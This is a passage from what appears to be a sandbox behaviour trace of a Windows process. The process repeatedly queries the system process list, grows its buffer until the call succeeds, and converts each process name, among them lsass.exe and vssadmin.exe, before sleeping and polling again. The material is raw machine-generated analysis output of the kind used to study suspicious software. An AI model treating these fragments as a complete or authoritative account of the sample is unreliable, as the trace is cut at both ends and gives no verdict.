SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.048] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0183.048] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.048] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0183.048] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.048] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0183.048] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.049] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0183.049] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.049] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0183.049] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.049] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0183.049] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.049] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0183.049] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.049] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0183.049] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.050] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0183.050] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.050] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0183.050] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.050] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0183.050] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.050] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0183.050] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.051] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0183.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.051] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0183.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.051] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0183.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.052] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0183.052] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.052] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0183.052] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.052] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0183.052] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.053] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0183.053] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.053] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0183.053] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0183.053] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0183.053] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0870 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1de0 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e40 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e10 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e40 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1df8 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.054] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.054] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0600 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.055] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0183.055] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1df8 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1ab8 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf38 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1ab8 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1df8 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1a18 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1ad8 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.056] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0183.056] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0183.057] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0183.057] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0183.057] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0183.057] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0183.057] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0183.057] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0183.057] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0183.057] Sleep (dwMilliseconds=0x64) [0183.337] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0183.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.338] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0183.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.338] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0183.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.338] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0183.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.338] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0183.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.339] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0183.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.339] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0183.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.339] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0183.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.339] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0183.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.339] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0183.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.340] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0183.340] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.340] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0183.340] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.340] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0183.340] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.341] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0183.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.341] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0183.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.341] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0183.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.341] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0183.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.342] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0183.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.342] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0183.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0183.342] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0183.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0183.343] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0183.343] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0870 [0183.343] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0183.343] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1de0 [0183.343] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.343] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e10 [0183.343] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0183.343] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.343] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0183.343] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0183.343] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0183.343] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0183.343] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0183.343] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0183.343] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0183.344] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0183.344] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.355] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e58 [0183.355] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0183.355] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e40 [0183.355] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.355] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0183.355] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.355] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0183.355] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0183.355] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0650 [0183.355] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0183.356] RtlAllocateHeap 